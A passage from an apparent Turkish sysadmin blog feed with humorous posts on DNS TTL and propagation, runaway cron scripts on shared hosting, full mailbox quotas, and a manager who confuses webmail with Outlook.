Müşteri sayfayı yeniler: <code>F5... F5... F5... Ctrl+F5!</code><br>
Yine eski site!</p>
<p>Müşterinin yüzü kararır. Öfkeyle klavyeye sarılır, hosting firmasının destek masasına o meşhur bileti fırlatır:</p>
<blockquote>
<p><strong>Konu:</strong> YÖNLENDİRME ÇALIŞMIYOR ACİL BAKIN!<br>
<strong>Mesaj:</strong> <em>"Kardeşim ben A kaydını değiştirdim, yeni sunucunun IP'sini girdim ama site hâlâ eski sunucudan açılıyor! Beceremediniz yönlendirmeyi! Benimle dalga mı geçiyorsunuz, bu kadar basit bir işi bile yapamıyor musunuz?! Derhal düzeltin şunu!"</em></p>
</blockquote>
<hr>
<h3>Küresel İnternetin Telefon Rehberi: DNS Hiyerarşisi</h3>
<p>Sıradan bir internet kullanıcısı DNS'i (Domain Name System), ofisindeki masa lambasının anahtarı gibi zanneder: "Ben düğmeye bastım, ışık hemen yansın."</p>
<p>Oysa DNS, insanlık tarihinin inşa ettiği en büyük, en dağıtık, en devasa hiyerarşik veritabanıdır.<br>
Dünyada milyarlarca bilgisayar her saniye trilyonlarca web sitesini sorgular. Eğer herkes her saniye doğrudan sizin sunucunuza gidip "Bu sitenin IP'si nedir?" diye sorsaydı; kök sunucular ve sizin sunucunuz aşırı yükten bir saniyede erir, küresel internet çökerdi!</p>
<p>İşte bu yüzden DNS mimarisi katı bir <strong>"Önbellek ve Hiyerarşi" (Caching &#x26; Propagation)</strong> piramidi üzerine kurulmuştur:</p>
<ol>
<li><strong>Yetkili İsim Sunucusu (Authoritative DNS):</strong> Sizin "Kaydet" dediğiniz yerdir. Yeni IP (<code>212.45.60.80</code>) buraya saniyesinde yazılır. Evet, sizin sunucunuz gerçeği biliyordur.</li>
<li><strong>Kök ve TLD Sunucuları:</strong> <code>.com</code> operatörleri.</li>
<li><strong>Özyinelemeli Çözümleyiciler (Recursive Resolvers):</strong> İşte asıl bariyer! Türk Telekom, Turkcell Superonline, Vodafone, Google DNS (<code>8.8.8.8</code>), Cloudflare (<code>1.1.1.1</code>)... Dünyadaki milyonlarca internet servis sağlayıcısının (İSS) devasa DNS önbellek sunucuları.</li>
<li><strong>İşletim Sistemi Önbelleği:</strong> Bilgisayarınızın Windows veya macOS DNS önbelleği.</li>
<li><strong>Tarayıcı Önbelleği:</strong> Google Chrome'un kendi iç hafızası!</li>
</ol>
<hr>
<h3>Zamanın Kilidi: TTL (Time to Live) Nedir?</h3>
<p>Müşteri A kaydını değiştirdiğinde, Türk Telekom'un veya Google'ın DNS sunucusu neden hemen yeni IP'yi görmez?</p>
<p>Cevap, DNS kaydının hemen yanındaki o küçük, gizemli sütunda saklıdır: <strong>TTL (Time to Live - Yaşam Süresi).</strong></p>
<p>TTL, bir DNS kaydının dünya genelindeki internet servis sağlayıcılarının ve bilgisayarların önbelleğinde <strong>kaç saniye boyunca taze kabul edileceğini ve saklanacağını</strong> belirten süredir!</p>
<p>Standart bir hosting panelinde varsayılan TTL değeri genellikle şudur:</p>
<ul>
<li><code>14400 saniye (4 Saat)</code></li>
<li>veya <code>86400 saniye (Tam 24 Saat!)</code></li>
</ul>
<p>Bu ne anlama gelir?<br>
Siz o A kaydını değiştirmeden yarım saat önce Türk Telekom'un DNS sunucusu sizin sitenizin eski IP'sini sorgulamış ve hafızasına yazmıştır.<br>
Ve sizin DNS sunucunuz Türk Telekom'a demiştir ki:<br>
<em>"Ey Türk Telekom! Bu IP adresini hafızana kaydet ve önümüzdeki 24 saat boyunca bana bir daha asla sorma! Bu bilgi 24 saat boyunca geçerlidir."</em></p>
<p>Şimdi siz kendi panelinizde IP'yi değiştirdiniz.<br>
Fakat Türk Telekom'un önbelleğindeki o 24 saatlik sayacın dolmasına henüz 18 saat vardır!</p>
<p>Türk Telekom'dan internete bağlanan bir kullanıcı sitenize girmeye çalıştığında; Türk Telekom sizin sunucunuza gelmez bile! Kendi hafızasındaki o eski IP'ye bakar ve kullanıcıyı eski sunucuya fırlatır!</p>
<p>Buna sektörde <strong>"DNS Yayılımı" (DNS Propagation)</strong> denir.<br>
Yeni IP adresinin dünya genelindeki binlerce internet sağlayıcısının önbelleğinden silinip güncellenmesi coğrafi olarak <strong>2 ila 24 saat</strong> (bazen 48 saat) arasında bir zaman alır.</p>
<hr>
<h3>Destek Masasındaki Klasik Çaresizlik</h3>
<p>Mühendis müşteriye açıklar:<br>
<em>"Hasan Bey, A kaydınız doğru yapılmış. Ancak DNS yayılımı devam ediyor. Türk Telekom'un önbelleğinin boşalmasını beklemelisiniz..."</em></p>
<p>Müşterinin cevabı asla şaşmaz:<br>
<em>"Yahu ne yayılımı kardeşim! Yıl olmuş 2026, uzaya roket fırlatıyorlar, benim sitem 24 saatte mi yönlenecek?! Ben cep telefonumun hücresel verisinden giriyorum açılıyor, ama şirketteki Türk Telekom hattından giriyorum eski site çıkıyor! Demek ki sizin sunucunuz bozuk!"</em></p>
<p>Müşteri farkında olmadan teşhisi kendisi koymuştur!<br>
Turkcell'in DNS önbelleği güncellenmiştir (mobil açılmaktadır); fakat Türk Telekom'un önbelleği henüz dolmamıştır (şirket hattı eskiyi görmektedir).</p>
<p>Sistem kusursuz çalışmaktadır; ama müşteri internetin fiziksel mimarisinin doğasını anlamayı reddetmektedir.</p>
<hr>
<h3>Kusursuz Bir DNS Geçişi Nasıl Yapılır?</h3>
<p>Eğer profesyonel bir altyapıcıysanız, müşterinizi bu krize sokmamak için şu "önceden hazırlık" kuralını uygulamalısınız:</p>
<ol>
<li><strong>TTL Değerini Önceden Düşürün (The TTL Trick):</strong> Sunucu taşımadan en az <strong>24 ila 48 saat önce</strong> alan adı panelinize girin. A kaydınızın TTL değerini <code>86400</code>'den (24 saat) <strong><code>300 saniyeye</code> (5 dakika)</strong> indirin! Böylece dünya genelindeki tüm DNS sunucuları hafızalarını 5 dakikada bir sıfırlamaya başlar. Taşıma günü IP'yi değiştirdiğinizde, site dünya genelinde sadece 5 dakika içinde yeni IP'ye oturur!</li>
<li><strong>Taşıma Bittikten Sonra TTL'i Yükseltin:</strong> Geçiş tamamlandıktan sonra TTL'i tekrar <code>14400</code> veya <code>86400</code> yapın; aksi halde sunucunuz gereksiz DNS sorgusu yükü altında kalır.</li>
<li><strong>Hosts Dosyası ile Test Edin:</strong> Müşteriye siteyi göstermek için DNS'in yayılmasını beklemeyin. Kendi bilgisayarındaki <code>hosts</code> dosyasına yeni IP'yi yazarak DNS'i baypas edin ve sitenin yeni sunucudaki halini anında test edin.</li>
<li><strong>Cloudflare Gibi Proxy Ağları:</strong> Alan adınızı Cloudflare arkasına alırsanız, A kaydı değişiklikleri kök DNS'lere gitmeden Cloudflare'in kendi uç sunucularında (Edge) saniyeler içinde anında güncellenir.</li>
</ol>
<p>Tıpta yuttuğu hapın 30 saniyede etki etmesini bekleyen hasta kendi sabırsızlığının esiridir.</p>
<p>İnternet dünyasında da DNS yayılımına isyan eden müşteri; küresel internetin milyarlarca cihazı koruyan o muhafazakâr önbellek mimarisine boyun eğmek zorundadır.</p>
<p>Fizik kanunları aceleyi sevmez; DNS de sabırsızları asla ödüllendirmez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DNS</category>
            <category>TTL</category>
            <category>Propagation</category>
            <category>A Kaydı</category>
            <category>Hosting</category>
            <category>SysAdmin</category>
            <category>Ağ Altyapısı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/a-kaydini-yaptim-hemen-acilsin-dns-yayilimi-propagation-ve-ttl-sinavi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Paylaşımlı Hostingde Cron Job Fantezisi": Her Saniyede Bir Çalışan Script]]></title>
            <link>http://localhost:3000/blog/post/paylasimli-hostingde-cron-job-fantezisi-her-saniyede-bir-calisan-script</link>
            <guid>paylasimli-hostingde-cron-job-fantezisi-her-saniyede-bir-calisan-script</guid>
            <pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık 200 liralık paylaşımlı hosting paketinde harici sitelerden veri kazımak veya borsa fiyatı çekmek için her dakikada bir (hatta while-sleep hilesiyle her saniyede bir) ağır PHP scripti çalıştıran zihniyet ve Linux çekirdeğinin kaçınılmaz savunma refleksi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/paylasimli-hostingde-cron-job-fantezisi-her-saniyede-bir-calisan-script/thumbnail" alt=""> Acil servisin resüsitasyon odasında kardiyak monitörün tiz alarmı çaldığında ekrandaki ritme bakarsınız: Ventriküler Taşikardi (V-Tach). Kalp dakikada 240 vuruyla çılgınca kasılmaktadır. Dışarıdan bakan bir tıp öğrencisi "Kalp ne kadar hızlı çalışıyor, ne kadar dinamik!" diyebilir. Oysa acil tıp uzmanı durumun vahametini hemen anlar: Kalbin odacıklarının kanla dolması için gereken gevşeme fazı (diyastol) tamamen ortadan kalkmıştır. Ventriküller içine kan dolmadan kasılıp boşluğa yumruk atmaktadır; kardiyak debi sıfırlanmış, beyin perfüzyonu durmuş ve hasta bilincini kaybetmiştir. Kalbi durduran şey hareketsizlik değil, dinlenmeye fırsat tanımayan şuursuz bir aşırı uyarılmadır.</p>
<p>Web barındırma dünyasının paylaşımlı (shared) sunucu katmanlarında da sistem yöneticilerinin monitörlerini kırmızıya boyayan tam olarak bu ventriküler taşikardi tablosudur. Yıllık maliyeti bir akşam yemeği menüsünü geçmeyen standart bir cPanel/DirectAdmin paylaşımlı hosting hesabı satın alan bir kullanıcının, kontrol panelindeki "Zamanlanmış Görevler" (Cron Jobs) sekmesini keşfettiği an başlar trajedi. Kullanıcı zanneder ki o 10 dolarlık paket, kendisine tahsis edilmiş bir süper bilgisayar kümesidir.</p>
<h3>While(true) Hilesi ve Process Tablosunun Boğulması</h3>
<p>Linux crontab standardında en küçük zaman aralığı 1 dakikadır (<code>* * * * *</code>). Ancak modern dünyanın "anlık veri" ihtirası, 1 dakikalık bekleme süresini bile bünyesine sindiremez. Kripto para borsasından arbitraj kovalayan, rakip e-ticaret sitelerinin XML stok listelerini sömürmeye çalışan veya Instagram botu koşturan dahi geliştiricimiz, Linux'un 1 dakikalık kuralını aşmak için o meşhur "cinliği" kodlar:</p>
<pre><code class="language-bash">* * * * * /usr/bin/php /home/user/public_html/bot.php >/dev/null 2>&#x26;1
</code></pre>
<p>Scriptin içine girip baktığınızda ise bir mimari intihar manifestosuyla karşılaşırsınız:</p>
<pre><code class="language-php">&#x3C;?php
set_time_limit(0);
ignore_user_abort(true);

while (true) {
    // Harici API'den 15 MB JSON indir ve parse et
    checkStockAndPrices();
    sleep(1); // Güya sunucuyu dinlendiriyor!
}
</code></pre>
<p>Bu kod parçası, sunucunun biyolojisine sokulmuş bir toksindir. İlk dakika cron tetiklenir; bir PHP process'i ayağa kalkar, belleğe oturur, cURL ile harici sunucuya bağlanır ve sonsuz döngüye girer. İkinci dakika crontab tetiklendiğinde, önceki işlem henüz ölmediği için ikinci bir PHP process'i doğar. Onuncu dakikada sunucu üzerinde aynı anda çalışan, her biri 128 MB RAM tüketen ve döngü içinde soket bekleyen 10 farklı zombi işlem oluşur.</p>
<p>Sistem yöneticisinin terminalinde <code>htop</code> açıldığında karşılaşılan tablo bir yoğun bakım krizidir. Sunucunun Load Average değeri 4.0 olması gerekirken 85.0'a fırlamıştır. CPU çekirdekleri context switching (bağlam değiştirme) yapmaktan gerçek hesaplamaları yapamaz hale gelmiştir. Sunucuda aynı fiziksel donanımı paylaşan diğer 300 masum kullanıcının küçük kurumsal siteleri, diş hekimi klinikleri, mahalle kasabının tanıtım sayfası "504 Gateway Timeout" veya "508 Resource Limit Reached" hatası vermeye başlar.</p>
<h3>CloudLinux, LVE ve Sistem Yöneticisinin Neşteri</h3>
<p>Eski nesil paylaşımlı sunucularda tek bir kullanıcının bu şuursuzluğu tüm işletim sistemini kernel panic eşiğine getirirdi. Neyse ki modern barındırma altyapıları, biyolojik bağışıklık sistemine benzer mekanizmalar geliştirdi. CloudLinux ve LVE (Lightweight Virtual Environment) teknolojisi, her kullanıcıyı adeta tecrit edilmiş bir steril odaya kapatır.</p>
<p>Kullanıcıya ayrılan işlemci gücü %100'lük tek bir çekirdek (%100 CPU), bellek miktarı 1 GB ve eşzamanlı işlem sayısı (nPROC) 20 ile sınırlandırılmıştır. Bahsettiğimiz scraper botu ikinci dakikadan itibaren sınırlarına toslar. Linux scheduler (CFS - Completely Fair Scheduler), işlemcinin o kullanıcıya ayrılan zaman dilimini kısar (CPU throttling). Scriptler yavaşlar, veritabanı bağlantıları askıda kalır ve nihayet sistem <code>EP (Entry Processes)</code> sınırına ulaştığı an yeni gelen ziyaretçileri kapıdan çevirir.</p>
<p>Fakat sistem yöneticisi logları incelerken sunucunun disk I/O operasyonlarının tıkandığını, <code>/tmp</code> dizininin PHP oturum dosyalarıyla çöplüğe döndüğünü gördüğünde tıp dilindeki "amputasyon" kararını verir. <code>crontab -r -u kullanıcı</code> komutu verilir; o zararlı zamanlanmış görev kökünden silinir, yetkisi <code>chmod 000</code> ile mühürlenir ve çalışan tüm process'leri <code>kill -9</code> ile itlaf edilir.</p>
<h3>"Sitemin Fonksiyonunu Bozdunuz!" Çığlığı</h3>
<p>Olayın teknik boyutu dakikalar içinde temizlenir; asıl yıpratıcı olan, psikolojik ve kurumsal boyuttur. Görevi silinen ve hesabı askıya alınan müşteriden destek paneline düşen ilk bildirim genellikle şu tondadır:</p>
<blockquote>
<p><em>"Siz nasıl bir firmasınız? Dün gece saat 03:00'te sistemdeki bir dosyamı silmişsiniz! Bütün ticaretim durdu, API entegrasyonum çalışmıyor. Paramızla rezil oluyoruz, hemen sunucuyu eski haline getirin yoksa avukatıma talimat verdim!"</em></p>
</blockquote>
<p>Destek mühendisi sabırla açıklama yapmaya çalışır: <em>"Beyefendi, paylaşımlı sunucuda saniyede bir çalışan ve 400 process üreten bir döngü koşturamazsınız. Bu sunucuda sizinle birlikte 250 farklı web sitesi barınıyor. Sunucunun toplam işlemci gücünün %80'ini tek başınıza tükettiğiniz için müdahale edildi."</em></p>
<p>Müşterinin cevabı asla şaşmaz: <em>"Bana ne diğer sitelerden! Ben bu hizmet için yıllık 240 TL ödedim. Kotam sınırsız yazıyordu, sınırsız demek her şeyi yapabilirim demektir!"</em></p>
<h3>Paylaşımlı Kaynak Etiği ve Profesyonel Mimari</h3>
<p>Bir apartman dairesi kiraladığınızda, o dairenin oturma odasına 50 tonluk bir sanayi pres makinesi kurup gece gündüz çalıştıramazsınız. "Kiramı ödüyorum, istediğimi yaparım" diyemezsiniz; çünkü o pres makinesinin yaydığı titreşim binanın kolonlarını çatlatır, alt kattaki komşunun avizesini düşürür.</p>
<p>Eğer iş modeliniz saniyede bir borsa kuru sorgulamak, binlerce sayfayı scrap etmek, kuyruktaki e-postaları dispatch etmek veya arka planda video render etmek üzerine kuruluysa, kullanacağınız yer paylaşımlı hosting değildir:</p>
<ol>
<li><strong>VPS / VDS (Sanal Sunucu):</strong> Çekirdeği, RAM'i ve disk I/O operasyonları tamamen size ayrılmış sanal makineler.</li>
<li><strong>Kuyruk Yöneticileri (Message Brokers):</strong> RabbitMQ, Redis BullMQ gibi yapılarla işleri arka plana kontrollü dağıtmak.</li>
<li><strong>Serverless / Lambda:</strong> Sadece çalıştığı saniye kadar faturalandırılan, işi bitince hafızayı terk eden fonksiyonlar.</li>
<li><strong>Worker / Daemon Mimarisi:</strong> Web sunucusunun PHP fpm havuzunu kilitlemeden çalışan bağımsız Go, Python veya Node.js servisleri.</li>
</ol>
<p>Ventriküler taşikardiye giren bir kalbe nasıl elektroşok cihazıyla (defibrilatör) akım verilip ritim zorla sıfırlanıyorsa, paylaşımlı sunucuda saniyede bir cron çalıştırmaya kalkan zihniyete de sistem yöneticisinin terminalinden <code>pkill</code> ve <code>crontab -r</code> şoku verilmesi kaçınılmaz bir doğa kanunudur. Bencilce kaynak tüketimi mühendislik değil, dijital görgüsüzlüktür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Shared Hosting</category>
            <category>Cron Job</category>
            <category>Sistem Yönetimi</category>
            <category>Linux</category>
            <category>CloudLinux</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/paylasimli-hostingde-cron-job-fantezisi-her-saniyede-bir-calisan-script/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Müşterinin E-Posta Kutusu Dolunca" Sunucunun Çökmesi Sanılması]]></title>
            <link>http://localhost:3000/blog/post/musterinin-e-posta-kutusu-dolunca-sunucunun-cokmesi-sanilmasi</link>
            <guid>musterinin-e-posta-kutusu-dolunca-sunucunun-cokmesi-sanilmasi</guid>
            <pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kendisine tahsis edilen 1 GB posta kotasını yıllardır silmediği 25 MB boyutundaki teklif sunumları ve video ekleriyle dolduran kullanıcının, yeni mail alamayınca "Sunucunuz çöktü, ticaretime ambargo koydunuz!" feryadıyla destek masasını ateşe vermesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/musterinin-e-posta-kutusu-dolunca-sunucunun-cokmesi-sanilmasi/thumbnail" alt=""> Acil serviste nöbet tutarken gecenin bir vakti sedyeyle içeri bir hasta getirilir. Karnının alt kısmını tutarak iki büklüm bağırmaktadır: <em>"Doktor bey yetişin, böbreklerim iflas etti! İçeride zehir birikiyor, vücudum artık çalışmıyor, kesin zehirlenip öleceğim!"</em> Hastanın yakını da yan taraftan panikle bağırır: <em>"Hocam bütün organları çöktü galiba!"</em></p>
<p>Deneyimli bir hekim hastanın karnına elini koyduğu an veya taşınabilir ultrason probunu alt karın bölgesine dokundurduğu saniyede teşhisi koyar: <strong>Glob vezikale (akut üriner retansiyon).</strong> Böbreklerde hiçbir sorun yoktur, süzme işlemi saat gibi kusursuz devam etmektedir. Sorun basittir: Mesane kapasitesi 400 mililitre olması gerekirken 1.5 litre idrarla dolmuş, gerilmiş ve tıkanmıştır. İçeride yer kalmadığı için yeni gelen sıvıyı kabul edememektedir. Hastanın sandığı gibi "bütün sistem çökmüş" değildir; sadece boşaltılması gereken depo dolmuştur. Steril bir foley sonda takılır, 15 saniyede torbaya boşalan sıvıyla birlikte hastanın o kıyamet sancısı ve panik hali yerini derin bir mahcubiyete bırakır.</p>
<p>Bilişim altyapılarında, özellikle de hosting ve kurumsal e-posta yönetiminde haftanın en az üç günü mesai saatlerini kilitleyen vaka, tam olarak bu akut mesane retansiyonunun dijital izdüşümüdür.</p>
<h3>552 5.2.2 Quota Exceeded: Kapıda Kalan Mektuplar</h3>
<p>Pazartesi sabahı saat 09:15'te destek masasının santrali çalar. Arayan, kentin bilinen toptancılarından veya sanayi kuruluşlarından birinin şirket müdürüdür. Ses tonundaki desibel seviyesi kulaklığın diyaframını yırtacak şiddettedir:</p>
<blockquote>
<p><em>"Siz nasıl bir kurumsunuz! Dünden beri hiçbir tedarikçimden mail alamıyorum. Az önce İtalya'daki fabrika aradı, 'Mail atıyoruz sunucunuz kapalı diyor' dediler! Milyon liralık ihalem var benim, ticaretime ambargo mu koyuyorsunuz? Mail sunucunuz çökmüş, derhal o sunucuyu kaldırın ayağa, yoksa tazminat davası açıyorum!"</em></p>
</blockquote>
<p>Destek mühendisi sakin adımlarla MTA (Mail Transfer Agent) loglarına, Exim veya Postfix kayıtlarına bakar:</p>
<pre><code class="language-log">2026-04-06 09:12:44 H=mail-out.supplier.com [198.51.100.42]:54122 
F=&#x3C;order@supplier.com> rejected RCPT &#x3C;mudur@sirketadi.com.tr>: 
552 5.2.2 Mailbox is full / Quota exceeded
</code></pre>
<p>Sunucu çökmemiştir. Sunucuda barınan Exim servisi, Dovecot IMAP/POP3 daemon'ı, SpamAssassin filtreleri ve NVMe disk dizileri milisaniyelik gecikmelerle tıkır tıkır çalışmaktadır. Sorun, genel müdürün e-posta kutusu için belirlenmiş 1024 MB (1 GB) depolama alanının 1023.9 MB seviyesine ulaşmış olmasıdır. İtalyan tedarikçinin gönderdiği 8 MB'lık PDF katalog, dolmuş olan o mesaneye sığmadığı için kapıdan reddedilmiş (bounce), göndericiye de kibarca "Alıcının posta kutusu dolu" raporu dönmüştür.</p>
<h3>Dijital İstifçilik: "Ben Hiçbir Maili Silemem!"</h3>
<p>Durum müşteriye tane tane anlatılır: <em>"Ahmet Bey, sunucumuzda hiçbir kesinti yok. Şirketinizdeki diğer 40 personelin mail trafiği normal akıyor. Sizin posta kutunuza ayrılan 1 GB'lık alan tamamen dolduğu için sunucu yeni mailleri kabul edemiyor. Webmail üzerinden 'Gereksiz', 'Çöp Kutusu' veya 'Gönderilmiş Öğeler' klasörünüzdeki eski ve ekli mailleri temizlerseniz ya da kotanızı artırırsak sorun derhal çözülecektir."</em></p>
<p>İşte dananın kuyruğunun koptuğu, mantığın yerini inatlaşmaya bıraktığı meşhur replik gelir:</p>
<blockquote>
<p><em>"Ne demek silmek? Ben 2018 yılından beri hiçbir maili silmedim, silemem! Hepsi resmi evrak bunların! Gönderilmiş öğelerimi nasıl silerim? Hem ben geçen hafta 10 tane mail sildim, yine çalışmıyor!"</em></p>
</blockquote>
<p>Kullanıcının "sildim" dediği şey, e-postayı seçip <code>Delete</code> tuşuna basarak "Çöp Kutusu" (Trash / Deleted Items) klasörüne taşımaktan ibarettir. O mailler hâlâ sunucudaki IMAP dizinindedir; disk alanını kuruşu kuruşuna işgal etmeye devam etmektedir. Üstelik posta kutusunun detaylarına girildiğinde, 2021 yılından kalma şirket içi doğum günü tebrikleri, kedi videoları, 35 MB'lık taranmış bayram kutlama afişleri ve asla açılmamış PowerPoint şablonlarının depoyu bir çöplüğe çevirdiği görülür.</p>
<h3>POP3 ile IMAP Arasındaki Zihinsel Uçurum</h3>
<p>Bu sendromun kökeninde, 90'lı yıllardan kalma POP3 alışkanlığı ile modern akıllı telefon çağının IMAP konforu arasındaki çatışma yatar.</p>
<ol>
<li><strong>Eski POP3 Dünyası:</strong> E-posta istemcisi (Outlook Express) sunucuya bağlanır, gelen mektubu bilgisayarın yerel diskine (<code>.pst</code> dosyasına) indirir ve sunucudaki kopyasını silerdi. Sunucunun kotası 50 MB bile olsa asla dolmazdı; çünkü sunucu sadece bir posta dağıtım kutusuydu, arşivleme yeri değildi.</li>
<li><strong>Modern IMAP Dünyası:</strong> Kullanıcı mailini hem şirket bilgisayarından, hem evindeki laptoptan, hem de cebindeki iPhone'dan görmek ister. IMAP protokolü tüm bu cihazları sunucuyla senkronize tutar. Yani her gelen mail, her gönderilen ek, her taslak doğrudan sunucunun diskinde yaşar.</li>
</ol>
<p>Kullanıcı akıllı telefonun lüksünü ister ama sunucunun fiziksel bir depolama birimi olduğu gerçeğini kabullenmek istemez. 200 liralık paylaşımlı hosting paketinin içine 10 yıllık kurumsal arşivini, devasa yüksek çözünürlüklü fotoğraf arşivini yedeklemeye kalkar.</p>
<h3>Altyapı Yönetiminde İletişim Reçetesi</h3>
<p>Acil serviste mesanesi tıkanmış hastaya foley sonda takıp idrarını boşalttıktan sonra ona "Su içmeyi bırak" demezsiniz; prostat muayenesine gitmesini veya işeme alışkanlığını düzenlemesini tembihlersiniz. Hosting ve sistem yöneticileri de bu "kota histerisini" kalıcı olarak yönetmek için şu mekanizmaları kurmalıdır:</p>
<ul>
<li><strong>Otomatik Uyarı Bildirimleri (Soft Quota Triggers):</strong> Kullanıcının kotası %80 ve %90 seviyesine ulaştığında her sabah otomatik bir e-posta ile uyarılmasını sağlamak ("Posta kutunuz dolmak üzere, lütfen eski ekleri arşivleyiniz").</li>
<li><strong>Gelişmiş Arşivleme / Exchange Mimarisi:</strong> Gerçekten silinemez evrak trafiği olan yöneticileri standart cPanel e-postasından çıkarıp Microsoft 365 veya Google Workspace gibi 50-100 GB kotalı kurumsal SaaS çözümlerine taşımak.</li>
<li><strong>Otomatik Çöp Kutusu Tasfiyesi:</strong> Sunucu tarafında <code>cron</code> ile 30 günden eski "Çöp Kutusu" ve "Spam" maillerini sessizce temizleyen politikalar tanımlamak.</li>
<li><strong>Yerel Arşivleme Kılavuzları:</strong> Kullanıcıya Outlook üzerinde <code>AutoArchive</code> (Otomatik Arşivleme) özelliğini açtırarak eski mailleri yerel PST dosyalarına aktarmayı öğretmek.</li>
</ul>
<p>Dijital çöp kutusunu boşaltmayı reddedip dolan deposunun faturasını "Sunucunuz çöktü!" diye altyapı sağlayıcısına kesmek, taşan çöp kovasını boşaltmayıp sokağın belediyesini evi yıkmakla tehdit etmeye benzer. Sistemler nadiren sebepsiz çöker; çoğu zaman kullanıcısının ardında bıraktığı kontrolsüz atıkların altında nefessiz kalır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>Sistem Yönetimi</category>
            <category>Hosting</category>
            <category>Kota Yönetimi</category>
            <category>Müşteri İlişkileri</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/musterinin-e-posta-kutusu-dolunca-sunucunun-cokmesi-sanilmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Webmail Arayüzünü Outlook Sanan" Geleneksel Şirket Patronu]]></title>
            <link>http://localhost:3000/blog/post/webmail-arayuzunu-outlook-sanan-geleneksel-sirket-patronu</link>
            <guid>webmail-arayuzunu-outlook-sanan-geleneksel-sirket-patronu</guid>
            <pubDate>Sun, 05 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Masaüstündeki mavi "O" simgesi kaybolunca tarayıcıdan Roundcube veya Horde webmail arayüzünü açıp "Bu Outlook neden bozuldu, eski sarı klasörlerim nerede?" diye destek masasını fırçalayan patron zihniyeti ve istemci-sunucu kavram kargaşası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/webmail-arayuzunu-outlook-sanan-geleneksel-sirket-patronu/thumbnail" alt=""> Acil servise elinde kırık bir gözlük çerçevesiyle gelen yaşlı bir amca düşünün. Koridorda hekimlerin ve hemşirelerin önünü kesip bağırmaktadır: <em>"Evladım hastanenizin tavanı eğrilmiş, duvarların rengi solmuş, personelin yüzü de bulanık görünüyor! Derhal bu hastaneyi düzeltin, hiçbir şey eskisi gibi değil!"</em> Hekim sakince amcanın elindeki kırık gözlüğü alır, cebinden bir deneme camı çıkarıp önüne koyar; hasta bir anda etrafı net görmeye başlar ve susar. Hastane duvarları hiçbir yere gitmemiştir, tavan dimdiktir; bozulan şey dünyayı algıladığı vizörden, yani gözlükten ibarettir. Fakat hasta, kendi gözündeki kusuru fiziksel binanın yapısal bir çöküşü zannetmektedir.</p>
<p>Bilişim sektöründe, özellikle kurumsal KOBİ'lere e-posta ve hosting hizmeti veren destek ekiplerinin ömrünü törpüleyen en absürt krizlerden biri, <strong>"İstemci (Client)" ile "Sunucu (Server)"</strong> arasındaki ontolojik farkın sıradan bir şirket yöneticisinin zihninde tamamen buharlaşmasıdır.</p>
<h3>Olay Günü: Mavi İkonun Kayboluşu</h3>
<p>Salı sabahı saat 10:30. Şirketin bilgi işlem sorumlusu izinlidir veya dışarıdaki bir arızaya gitmiştir. Şirketin kurucusu ve yönetim kurulu başkanı olan tecrübeli patron, masasındaki bilgisayarın başına geçer. Yıllardır yaptığı gibi masaüstündeki mavi renkli Microsoft Outlook simgesine tıklamak ister. Fakat bir gün önce temizlik görevlisi klavyeyi silerken yanlışlıkla masaüstü kısayolunu silmiş veya Windows bir güncelleme sonrası görev çubuğunu sıfırlamıştır.</p>
<p>Mavi ikon yerinde yoktur.</p>
<p>Patron hemen yanındaki sekreterine seslenir. Sekreter Hanım iyi niyetle tarayıcıyı açar ve şirketin webmail adresini girer: <code>webmail.sirketadi.com.tr</code>. Karşılarına cPanel'in standart arayüzü olan <strong>Roundcube</strong> veya o nostaljik, metin ağırlıklı <strong>Horde</strong> arayüzü çıkar. Kullanıcı adı ve şifre girilir; ekran açılır.</p>
<p>İşte tam o saniyede acil servis alarmı çalar. Destek masasının telefonu çalar çalmaz hattın diğer ucundan gelen ses doğrudan suçlayıcıdır:</p>
<blockquote>
<p><em>"Kardeşim siz sunucularla mı oynadınız yine? Benim Outlook'um gitmiş, yerine abuk subuk yabancı bir ekran gelmiş! Benim sol tarafta 15 yıldır biriktirdiğim 'Önemli Faturalar', 'Ankara İhaleleri', 'Ahmet Bey Özel' sarı klasörlerim nerede? Yazı tipleri küçülmüş, arayüz berbat olmuş! Derhal benim eski Outlook'umu geri yükleyin, iş yapamıyoruz burada!"</em></p>
</blockquote>
<h3>İstemci ile Protokolün Biyolojik Ayrımı</h3>
<p>Destek mühendisi derin bir nefes alır. Tıpkı bir acil tıp uzmanının panik atak geçiren hastaya sakinleştirici vermesi gibi, ses tonunu en düşük ve en anlaşılır frekansa ayarlar:</p>
<p><em>"Mehmet Bey, şu an baktığınız ekran Outlook programı değil. O bir web tarayıcısı, Chrome üzerinden açtığınız Webmail arayüzü. Sunucudaki e-postalarınıza internet üzerinden doğrudan bakıyorsunuz. Masaüstünüzdeki Outlook ise bilgisayarınıza kurulu ayrı bir programdır."</em></p>
<p>Hattın diğer ucunda derin bir sessizlik olur. Ardından o meşhur savunma mekanizması devreye girer:</p>
<blockquote>
<p><em>"Ne alakası var canım? Mail işte bu! Dün akşam çıkarken normaldi, sabah geldim bu hale gelmiş. Siz güncelleme yaptınız sunucuda, ekranım bozuldu işte! Bana teknik laflar anlatmayın, sarı klasörlerimi getirin!"</em></p>
</blockquote>
